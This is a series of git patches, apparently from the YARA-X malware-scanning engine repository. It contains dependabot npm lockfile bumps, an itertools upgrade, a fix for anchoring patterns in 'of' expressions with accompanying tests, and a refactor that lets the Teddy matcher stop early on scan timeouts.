Bumps [postcss](https://github.com/postcss/postcss) from 8.5.15 to 8.5.25. - [Release notes](https://github.com/postcss/postcss/releases) - [Changelog](https://github.com/postcss/postcss/blob/main/CHANGELOG.md) - [Commits](https://github.com/postcss/postcss/compare/8.5.15...8.5.25) --- updated-dependencies: - dependency-name: postcss dependency-version: 8.5.25 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- playground/package-lock.json | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/playground/package-lock.json b/playground/package-lock.json index ca17674e8..c072cc817 100644 --- a/playground/package-lock.json +++ b/playground/package-lock.json @@ -1700,9 +1700,9 @@ "license": "MIT" }, "node_modules/nanoid": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", - "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", + "version": "3.3.16", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz", + "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==", "dev": true, "funding": [ { @@ -1760,9 +1760,9 @@ } }, "node_modules/postcss": { - "version": "8.5.15", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", - "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", + "version": "8.5.25", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.25.tgz", + "integrity": "sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==", "dev": true, "funding": [ { @@ -1780,7 +1780,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.12", + "nanoid": "^3.3.16", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, From 9e0267de7f04efbbfdfcf335e6521c1c8d4f0d4b Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 30 Jul 2026 16:18:51 +0200 Subject: [PATCH 016/259] chore: upgrade `itertools` to version 0.15.0. --- Cargo.lock | 19 ++++++++++++++----- Cargo.toml | 2 +- cli/src/commands/scan.rs | 9 +++------ lib/src/compiler/emit.rs | 10 +++++----- 4 files changed, 23 insertions(+), 17 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 0be6096da..64e8574ed 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1823,6 +1823,15 @@ dependencies = [ "either", ] +[[package]] +name = "itertools" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b4baf93f58d4425749ca49a51c50ebab072c5df6994d08fed93541c331481dc" +dependencies = [ + "either", +] + [[package]] name = "itoa" version = "1.0.15" @@ -4463,7 +4472,7 @@ dependencies = [ "intaglio", "inventory", "ipnet", - "itertools 0.14.0", + "itertools 0.15.0", "js-sys", "log", "magic", @@ -4540,7 +4549,7 @@ dependencies = [ "globwalk", "home", "indicatif", - "itertools 0.14.0", + "itertools 0.15.0", "predicates", "protobuf", "regex", @@ -4598,7 +4607,7 @@ dependencies = [ "dashmap", "futures", "goldenfile", - "itertools 0.14.0", + "itertools 0.15.0", "js-sys", "regex", "serde", @@ -4639,7 +4648,7 @@ dependencies = [ "globwalk", "goldenfile", "indexmap", - "itertools 0.14.0", + "itertools 0.15.0", "log", "logos", "num-traits", @@ -4658,7 +4667,7 @@ dependencies = [ "chrono", "globwalk", "goldenfile", - "itertools 0.14.0", + "itertools 0.15.0", "protobuf", "protobuf-codegen", "yansi", diff --git a/Cargo.toml b/Cargo.toml index 8c195e2de..5438ffea7 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -65,7 +65,7 @@ indexmap = "2.14.0" intaglio = "1.15.1" inventory = "0.3.24" ipnet = "2.12.0" -itertools = "0.14.0" +itertools = "0.15.0" js-sys = "0.3.102" log = "0.4.32" magic = "0.16.7" diff --git a/cli/src/commands/scan.rs b/cli/src/commands/scan.rs index fa1589cfc..bb04babb5 100644 --- a/cli/src/commands/scan.rs +++ b/cli/src/commands/scan.rs @@ -782,7 +782,7 @@ mod output_handler { msg.push_str(" ["); for (pos, tag) in tags.with_position() { msg.push_str(tag.identifier()); - if !matches!(pos, itertools::Position::Last) { + if !pos.is_last { msg.push(','); } } @@ -813,7 +813,7 @@ mod output_handler { v.escape_ascii() )), }; - if !matches!(pos, itertools::Position::Last) { + if !pos.is_last { msg.push(','); } } @@ -878,10 +878,7 @@ mod output_handler { match_str.push_str( format!("{b:02x}").as_str(), ); - if !matches!( - pos, - itertools::Position::Last - ) { + if !pos.is_last { match_str.push(' '); } } diff --git a/lib/src/compiler/emit.rs b/lib/src/compiler/emit.rs index 891b5e540..8584d8088 100644 --- a/lib/src/compiler/emit.rs +++ b/lib/src/compiler/emit.rs @@ -12,7 +12,7 @@ use std::ops::RangeInclusive; use std::rc::Rc; use bstr::ByteSlice; -use itertools::{Itertools, Position}; +use itertools::Itertools; use rustc_hash::FxHashMap; use walrus::ValType::{I32, I64}; use walrus::ir::ExtendedLoad::ZeroExtend; @@ -805,7 +805,7 @@ fn emit_and( emit_bool_expr(ctx, ir, *operand, instr); // For all operands except the last one, check the result // and exit early from the block if it is false. - if matches!(position, Position::First | Position::Middle) { + if !position.is_last { instr.if_else( None, |_| {}, @@ -877,7 +877,7 @@ fn emit_or( ); // For all operands except the last one, check the result // and exit early from the block if it is true. - if matches!(position, Position::First | Position::Middle) { + if !position.is_last { block.if_else( None, |then_| { @@ -1485,7 +1485,7 @@ fn emit_of_pattern_set( // For every call, except the last one, check the result // and exit early from the block if any of the patterns // were found. - if matches!(position, Position::First | Position::Middle) { + if !position.is_last { instr.if_else( None, |then_| { @@ -1519,7 +1519,7 @@ fn emit_of_pattern_set( // For every call, except the last one, check the result // and exit early from the block if some of the patterns // was not found. - if !matches!(position, Position::Only | Position::Last) { + if !position.is_last { instr.if_else( None, |_| {}, From 439d6428dfb3f37a5fe53768c4749f1010c751d3 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Fri, 31 Jul 2026 12:19:56 +0200 Subject: [PATCH 017/259] fix: anchor patterns in 'of' expressions with explicit offsets The previous logic unconditionally marked patterns in sets as non-anchorable. This update moves anchorability determination to the `of` and `for of` expression handlers. This allows patterns with explicit `at ` anchors to be correctly marked as anchored. --- lib/src/compiler/ir/ast2ir.rs | 36 +++++++++-- .../compiler/tests/testdata/warnings/48.in | 11 +++- .../compiler/tests/testdata/warnings/48.out | 5 ++ .../tests/testdata/warnings/no_warnings.in | 10 ++++ lib/src/tests/mod.rs | 59 +++++++++++++++++++ 5 files changed, 114 insertions(+), 7 deletions(-) diff --git a/lib/src/compiler/ir/ast2ir.rs b/lib/src/compiler/ir/ast2ir.rs index c7ebac798..79c019f3c 100644 --- a/lib/src/compiler/ir/ast2ir.rs +++ b/lib/src/compiler/ir/ast2ir.rs @@ -1259,6 +1259,25 @@ fn of_expr_from_ast( let anchor = anchor_from_ast(ctx, &of.anchor)?; + // When have ` of at `, all the patterns + // in the set must be anchored. If we have ` of ` + // all are marked as non-anchorable. + if let OfItems::PatternSet(ref pattern_set) = items { + let anchor_at = match anchor { + MatchAnchor::At(expr) => ctx.ir.get(expr).try_as_const_integer(), + _ => None, + }; + for &pattern_idx in pattern_set { + let pattern = + &mut ctx.current_rule_patterns[pattern_idx.as_usize()]; + if let Some(offset) = anchor_at { + pattern.anchor_at(offset as usize); + } else { + pattern.make_non_anchorable(); + } + } + } + ctx.vars.unwind(&stack_frame); let expr = match items { @@ -1281,6 +1300,13 @@ fn for_of_expr_from_ast( ) -> Result { let quantifier = quantifier_from_ast(ctx, &for_of.quantifier)?; let pattern_set = pattern_set_from_ast(ctx, &for_of.pattern_set)?; + + // Patterns used in a `for .. of` expressions are marked as non-anchorable. + for &pattern_idx in &pattern_set { + ctx.current_rule_patterns[pattern_idx.as_usize()] + .make_non_anchorable(); + } + let mut stack_frame = ctx.vars.new_frame(VarStack::FOR_OF_FRAME_SIZE).ok_or_else(|| { TooManyVariables::build( @@ -1800,10 +1826,9 @@ fn pattern_set_from_ast( )); } - // Make all the patterns in the set non-anchorable and mark them - // as used. + // Mark all the patterns in the set as used. for pattern in ctx.current_rule_patterns.iter_mut() { - pattern.make_non_anchorable().mark_as_used(); + pattern.mark_as_used(); } let pattern_indexes: Vec = @@ -1848,9 +1873,8 @@ fn pattern_set_from_ast( // check if some of them matches the identifier. if set.iter().any(|p| p.matches(pattern.identifier())) { pattern_indexes.push(i.into()); - // All the patterns in the set are made non-anchorable, and - // marked as used. - pattern.make_non_anchorable().mark_as_used(); + // All the patterns in the set are marked as used. + pattern.mark_as_used(); } } diff --git a/lib/src/compiler/tests/testdata/warnings/48.in b/lib/src/compiler/tests/testdata/warnings/48.in index 9f33e31ad..a4cf59462 100644 --- a/lib/src/compiler/tests/testdata/warnings/48.in +++ b/lib/src/compiler/tests/testdata/warnings/48.in @@ -1,7 +1,16 @@ -rule single_byte_pattern { +rule single_byte_pattern_1{ strings: $a = "a" $b = { 01 } condition: $a or $b } + +rule single_byte_pattern_2 { + strings: + // This pattern should raise a warning because it won't be anchored due to + // the use of `$a` in the condition. + $a = "a" + condition: + any of ($a) at 0 or $a +} \ No newline at end of file diff --git a/lib/src/compiler/tests/testdata/warnings/48.out b/lib/src/compiler/tests/testdata/warnings/48.out index ea8f8c6fe..8a38d3abb 100644 --- a/lib/src/compiler/tests/testdata/warnings/48.out +++ b/lib/src/compiler/tests/testdata/warnings/48.out @@ -8,3 +8,8 @@ warning[slow_pattern]: slow pattern | 4 | $b = { 01 } | ------ this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:13:6 + | +13 | $a = "a" + | -------- this pattern may slow down the scan diff --git a/lib/src/compiler/tests/testdata/warnings/no_warnings.in b/lib/src/compiler/tests/testdata/warnings/no_warnings.in index 923c445ac..d58ca739e 100644 --- a/lib/src/compiler/tests/testdata/warnings/no_warnings.in +++ b/lib/src/compiler/tests/testdata/warnings/no_warnings.in @@ -83,3 +83,13 @@ rule test_11 { a == 1 and b == 2 and c == 3 ) } + +rule test_12 { + strings: + // These short pattern don't produce warnings because they will anchored + // at position 0. + $s_1 = "#" + $s_2 = "-" + condition: + any of ($s_*) at 0 +} \ No newline at end of file diff --git a/lib/src/tests/mod.rs b/lib/src/tests/mod.rs index ea0f3c074..c54fe61eb 100644 --- a/lib/src/tests/mod.rs +++ b/lib/src/tests/mod.rs @@ -3837,6 +3837,50 @@ fn of() { "#, b"foo" ); + + // Pattern `$a` used in `any of ($a) at 0` and also unanchored (`or $a`). + // `$a` must be made non-anchorable (anchor removed) and match at + // offset > 0. + rule_true!( + r#" + rule test { + strings: + $a = "bar" + condition: + any of ($a) at 0 or $a + } + "#, + b"foobar" + ); + + // Pattern `$a` used in `1 of ($a) at 0` and also in `#a > 0`. + // The match count usage `#a` must remove the anchor from `$a`. + rule_true!( + r#" + rule test { + strings: + $a = "bar" + condition: + 1 of ($a) at 0 or #a > 0 + } + "#, + b"foobar" + ); + + // Pattern `$a` anchored at offset 0 via `any of ($a) at 0`, and anchored + // at offset 3 via `$a at 3`. Anchoring to different offsets makes `$a` + // non-anchorable, allowing it to match at offset 3. + rule_true!( + r#" + rule test { + strings: + $a = "bar" + condition: + any of ($a) at 0 or $a at 3 + } + "#, + b"foobar" + ); } #[test] @@ -4365,4 +4409,19 @@ fn header_constraints_optimization() { "#, b"MZ\x49\x64\x6d\x6d\x6e" ); + + // Pattern sets anchored at an offset (e.g. `any of ($a) at 0`) anchor their + // constituent patterns to offset 0, but if a pattern is also used unanchored, + // its anchor must be removed. + rule_true!( + r#" + rule test { + strings: + $a = "Hello" + condition: + any of ($a) at 0 and $a + } + "#, + b"Hello" + ); } From b786b48cb999e3ff534a75796ed264bc209193d2 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 3 Aug 2026 10:41:34 +0200 Subject: [PATCH 018/259] chore(deps-dev): bump brace-expansion in /ls/editors/code (#727) Bumps [brace-expansion](https://github.com/juliangruber/brace-expansion) from 1.1.16 to 1.1.18. - [Release notes](https://github.com/juliangruber/brace-expansion/releases) - [Commits](https://github.com/juliangruber/brace-expansion/commits) --- updated-dependencies: - dependency-name: brace-expansion dependency-version: 1.1.18 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- ls/editors/code/package-lock.json | 48 +++++++++++++++---------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/ls/editors/code/package-lock.json b/ls/editors/code/package-lock.json index aa884c11b..da971facc 100644 --- a/ls/editors/code/package-lock.json +++ b/ls/editors/code/package-lock.json @@ -278,9 +278,9 @@ } }, "node_modules/@eslint/config-array/node_modules/brace-expansion": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", "dev": true, "license": "MIT", "dependencies": { @@ -352,9 +352,9 @@ } }, "node_modules/@eslint/eslintrc/node_modules/brace-expansion": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", "dev": true, "license": "MIT", "dependencies": { @@ -1304,16 +1304,16 @@ } }, "node_modules/@vscode/vsce/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", + "version": "5.0.9", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.9.tgz", + "integrity": "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==", "dev": true, "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" }, "engines": { - "node": "18 || 20 || >=22" + "node": "20 || >=22" } }, "node_modules/@vscode/vsce/node_modules/minimatch": { @@ -1534,9 +1534,9 @@ "license": "BSD-2-Clause" }, "node_modules/brace-expansion": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.2.tgz", - "integrity": "sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.4.tgz", + "integrity": "sha512-hGfVzPxthbf3+2yjg/RBs60cB0FhqBS/zvdV/4wn4/BmN0bNMMHPc4V/BbFieqf1TKAGGAHnY4eSjajCl0f2Xg==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0" @@ -2258,9 +2258,9 @@ } }, "node_modules/eslint/node_modules/brace-expansion": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", "dev": true, "license": "MIT", "dependencies": { @@ -2691,16 +2691,16 @@ } }, "node_modules/glob/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", + "version": "5.0.9", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.9.tgz", + "integrity": "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==", "dev": true, "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" }, "engines": { - "node": "18 || 20 || >=22" + "node": "20 || >=22" } }, "node_modules/glob/node_modules/minimatch": { @@ -3581,16 +3581,16 @@ } }, "node_modules/minimatch/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", + "version": "5.0.9", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.9.tgz", + "integrity": "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==", "dev": true, "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" }, "engines": { - "node": "18 || 20 || >=22" + "node": "20 || >=22" } }, "node_modules/minimist": { From 9d62d72812b7c82d5d74e3dc091091b621a538b2 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Mon, 3 Aug 2026 11:29:22 +0200 Subject: [PATCH 019/259] fix: allow Teddy algorithm to propagate early termination Refactors Teddy's `find_overlapping` methods and their callbacks to use `std::ops::ControlFlow`. This enables the scanner to propagate early termination signals, such as timeouts, back through the Teddy algorithm, stopping further processing once a condition is met. This ensures that scans using the Teddy algorithm respect configured timeouts,. --- lib/src/scanner/context.rs | 48 ++-- lib/src/scanner/tests.rs | 28 +++ lib/src/teddy/generic.rs | 482 +++++++++++++++++++++++++++---------- lib/src/teddy/mod.rs | 100 ++++++-- 4 files changed, 487 insertions(+), 171 deletions(-) diff --git a/lib/src/scanner/context.rs b/lib/src/scanner/context.rs index 48584ded5..6cf0fe1e4 100644 --- a/lib/src/scanner/context.rs +++ b/lib/src/scanner/context.rs @@ -5,6 +5,7 @@ use std::iter; use std::mem::{MaybeUninit, transmute}; #[cfg(feature = "rules-profiling")] use std::ops::AddAssign; +use std::ops::ControlFlow; use std::ops::{Deref, Range}; use std::pin::Pin; use std::ptr::NonNull; @@ -799,24 +800,37 @@ impl ScanContext<'_, '_> { // Use the Teddy algorithm if it was possible to create a Teddy // matcher and the data being scanned is long enough. Some(teddy) if data.len() >= teddy.minimum_len() => { - if HEARTBEAT_COUNTER.load(Ordering::Relaxed) >= self.deadline { - return Err(ScanError::Timeout); - } - teddy.find_overlapping(data, 0, &mut |m| { - #[cfg(feature = "logging")] - { - atom_matches += 1; - } - let match_offset = - m.start() as usize - data.as_ptr() as usize; + match teddy.find_overlapping( + data, + 0, + |m| -> ControlFlow { + if HEARTBEAT_COUNTER.load(Ordering::Relaxed) + >= self.deadline + { + return ControlFlow::Break(ScanError::Timeout); + } + #[cfg(feature = "logging")] + { + atom_matches += 1; + } + let match_offset = + m.start() as usize - data.as_ptr() as usize; + + self.handle_atom_match( + m.pattern() as usize, + match_offset, + base, + data, + ); - self.handle_atom_match( - m.pattern() as usize, - match_offset, - base, - data, - ); - }); + ControlFlow::Continue(()) + }, + ) { + ControlFlow::Continue(_) => {} + ControlFlow::Break(err) => { + return Err(err); + } + } } // Otherwise use the Aho-Corasick algorithm. _ => { diff --git a/lib/src/scanner/tests.rs b/lib/src/scanner/tests.rs index fda01d0d7..601a97f51 100644 --- a/lib/src/scanner/tests.rs +++ b/lib/src/scanner/tests.rs @@ -1120,3 +1120,31 @@ fn test_slow_rule_hang() { let results = scanner.scan(&data).unwrap(); assert_eq!(results.matching_rules().count(), 1); } + +#[test] +fn test_teddy_scan_timeout() { + use std::time::Duration; + + let rules = crate::compile( + r#" + rule test { + strings: + $a = "abcd" + condition: + $a + } + "#, + ) + .unwrap(); + + let mut scanner = Scanner::new(&rules); + scanner.set_timeout(Duration::from_secs(1)); + + let mut data = Vec::with_capacity(10_000_000); + for _ in 0..2_500_000 { + data.extend_from_slice(b"abcd"); + } + + let err = scanner.scan(&data).unwrap_err(); + assert_eq!(err.to_string(), "timeout"); +} diff --git a/lib/src/teddy/generic.rs b/lib/src/teddy/generic.rs index fbe51611e..bf9f889e5 100644 --- a/lib/src/teddy/generic.rs +++ b/lib/src/teddy/generic.rs @@ -2,6 +2,7 @@ use super::vector::{FatVector, Vector}; use std::collections::BTreeMap; use std::fmt::Debug; +use std::ops::ControlFlow; use std::sync::Arc; pub type PatternID = u32; @@ -185,21 +186,29 @@ impl Slim { } #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start; while cur <= end.sub(V::BYTES) { let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -207,14 +216,22 @@ impl Slim { let prev_bound = cur; cur = end.sub(V::BYTES); let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } @@ -923,13 +940,16 @@ impl Debug for FatMaskBuilder { impl Teddy { #[inline(always)] - pub unsafe fn verify64_all( + pub unsafe fn verify64_all( &self, cur: *const u8, end: *const u8, mut candidate_chunk: u64, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { while candidate_chunk != 0 { let bit = candidate_chunk.trailing_zeros() as usize; @@ -939,84 +959,116 @@ impl Teddy { debug_assert!(bucket < self.buckets.len()); for pid in self.buckets.get_unchecked(bucket).iter().copied() { let pat = self.patterns.get_unchecked(pid); - if pat.is_prefix_raw(match_cur, end) { - callback(Match { + if pat.is_prefix_raw(match_cur, end) + && callback(Match { pid, start: match_cur, end: match_cur.add(pat.len()), - }); + }) + .is_break() + { + return ControlFlow::Break(()); } } } + ControlFlow::Continue(()) } } } impl Teddy<8> { #[inline(always)] - pub unsafe fn verify_all( + pub unsafe fn verify_all( &self, mut cur: *const u8, end: *const u8, candidate: V, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { debug_assert!(!candidate.is_zero()); + let mut cf = ControlFlow::Continue(()); candidate.for_each_64bit_lane(|_, chunk| { - self.verify64_all(cur, end, chunk, callback); + if self.verify64_all(cur, end, chunk, &mut callback).is_break() + { + cf = ControlFlow::Break(()); + return Some(()); + } cur = cur.add(8); None::<()> }); + cf } } } impl Teddy<16> { #[inline(always)] - pub unsafe fn verify_all( + pub unsafe fn verify_all( &self, mut cur: *const u8, end: *const u8, candidate: V, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { debug_assert!(!candidate.is_zero()); let swapped = candidate.swap_halves(); let r1 = candidate.interleave_low_8bit_lanes(swapped); let r2 = candidate.interleave_high_8bit_lanes(swapped); + let mut cf = ControlFlow::Continue(()); r1.for_each_low_64bit_lane( r2, #[inline(always)] |_, chunk| { - self.verify64_all(cur, end, chunk, callback); + if self + .verify64_all(cur, end, chunk, &mut callback) + .is_break() + { + cf = ControlFlow::Break(()); + return Some(()); + } cur = cur.add(4); None::<()> }, ); + cf } } } impl Slim { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(1); let mut prev0 = V::splat(0xFF); while cur <= end.sub(V::BYTES) { let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -1025,37 +1077,53 @@ impl Slim { cur = end.sub(V::BYTES); prev0 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Slim { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(2); let mut prev0 = V::splat(0xFF); let mut prev1 = V::splat(0xFF); while cur <= end.sub(V::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -1065,29 +1133,40 @@ impl Slim { prev0 = V::splat(0xFF); prev1 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Slim { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(3); let mut prev0 = V::splat(0xFF); @@ -1096,8 +1175,13 @@ impl Slim { while cur <= end.sub(V::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::BYTES); } @@ -1109,35 +1193,51 @@ impl Slim { prev2 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut 